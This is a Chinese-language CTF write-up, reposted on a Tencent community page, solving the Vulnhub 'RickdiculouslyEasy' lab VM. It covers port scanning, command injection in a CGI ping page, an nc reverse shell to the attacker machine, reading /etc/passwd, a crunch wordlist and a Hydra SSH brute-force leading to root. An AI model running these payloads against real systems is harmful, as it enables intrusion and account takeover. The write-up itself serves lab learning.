首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

CTF挑战130分 Rickdiculously 1.0

简介

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

官网:https://www.vulnhub.com

https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip

靶机说明

靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。

目标

Boot to root:获得root权限,并获得合计130 points的Flag。

运行环境

靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。

攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、Python2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。

信息收集

端口服务识别

启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

汇总开放的端口和服务:

端口 服务 后台系统 或 提示信息

21 FTP vsftpd3.0.3 允许匿名登录

22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

80 http Apache httpd 2.4.27 ((Fedora)

9090 http Cockpit web service

13337 未知服务 获得FLAG:-10Points

22222 ssh OpenSSH 7.5 (protocol 2.0)

60000 未知服务 Welcome to Ricks half baked reverse shell

漏洞挖掘

渗透思路:

(1) 依次查看每个端口运行的服务,能直接利用则获得Flag。

(2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得shell后提权。

(3) 最后聚焦Web服务进行web渗透和提权。

0x01 端口13337:10 Points

一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。

总分:1 flag,total 10 points/130 points

0x02 端口21:FTP匿名登录,10 Points

Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:

获得FLAG - 10 Points

总分:2 flags,total 20 points/130 points

0x03 端口9090:https网页,10 Points

访问https://192.168.56.101:9090/,在Web页面获得Flag:

总分:3 flags,total 30 points/130 points

0x04 端口22:获得系统及内核版本

Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

0x05 端口22222:ssh服务

Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。

0x06 端口60000:用户shell,10 Points

Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。

FLAG - 10 Points

总分:4 flags,total 40 points/130 points

检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。

至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。

0x07 端口80:暴破目录和获得Flag

(1) 访问http://192.168.56.101/进入首页:

Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:

获得passwords目录,Flag和passwords.html页面,依次访问。

(2) 目录http://192.168.56.101/passwords/:

(3) 访问passwords目录下的FLAG.txt:10 Points

FLAG - 10 Points

总分:5 flags,total 50 points/130 points

(4) 访问passwords.html页面,获得密码:

提示该页面存储了密码Storing passwords in a file called passwords.html

查看网页源码获得密码winter

0x08 通过robots.txt找到命令执行页面

(1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):

发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。

(2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。

(3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:

获取shell

0x09 命令执行获得shell

(1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444

(2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:

(3) 读取/etc/passwd

cat命令被替换成了猫猫的图形,more命令在shell中不回显。

执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取

系统中存在3个用户:RickSanchez、Morty和Summer。

(4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。

在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:

FLAG - 10 Points

总分:6 flags,total 60 points/130 points

0x10 查找其他用户的文件和Flag

(1) 查找用户RickSanchez和Morty的文件

命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:

发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。

(2) Morty的文件和Flag

将这两个文件复制到Summer用户的home目录:

然后通过用Summer账号登录FTP下载下来:

zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip

FLAG: - 20 Points

总分:7 flags,total 80 points/130 points

(3) RickSanchez的文件和Flag

发现可执行文件safe:

把safe复制到Summer的用户目录下,执行safe文件:

提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument

上面获取了密码131333,将其作为参数执行./safe 131333

获得FLAG - 20 Points

总分:8 flags,total 100 points/130 points

同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。

提升权限

0x11 生成字典,暴破Rick密码

(1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看

这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains

(2) 生成密码字典:

密码第1位:A-Z中的一个大写字母;

密码第2位:0-9中的一个数字;

密码第3位:The或者Flesh或者Curtains,这3个单词之一。

在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字

生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt

生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt

生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt

生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。

(3) 暴破RickSanchez密码:

由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:

进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222

暴破完成,得到login: RickSanchez password: P7Curtains

0x12 获得root权限

(1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains

(2) 提权到root,执行命令sudo su -,密码P7Curtains

(3) 获得Flag

FLAG: - 30 points

总分:9 flags,total 130 points/130 points

游戏通关,已经提权至root,并获得全部FLag。

总结

突破点和坑:

(1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。

(2) 查看网页源码和图片的可打印字符,获取账号密码。

(3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。

(4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用工具做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。

全部Flag列表:

得分 Flag 端口和位置

10 FLAG: 端口13337

10 FLAG 端口21,FTP匿名登录

10 FLAG 端口9090,https服务

10 FLAG 端口60000,nc连接

10 FLAG 端口80,passwords目录

10 FLAG 用户Summer目录

20 FLAG 可执行文件safe

30 FLAG: root根目录

* 本文作者:Setup,转载请注明来自FreeBuf.COM

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180603B11ZS400?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券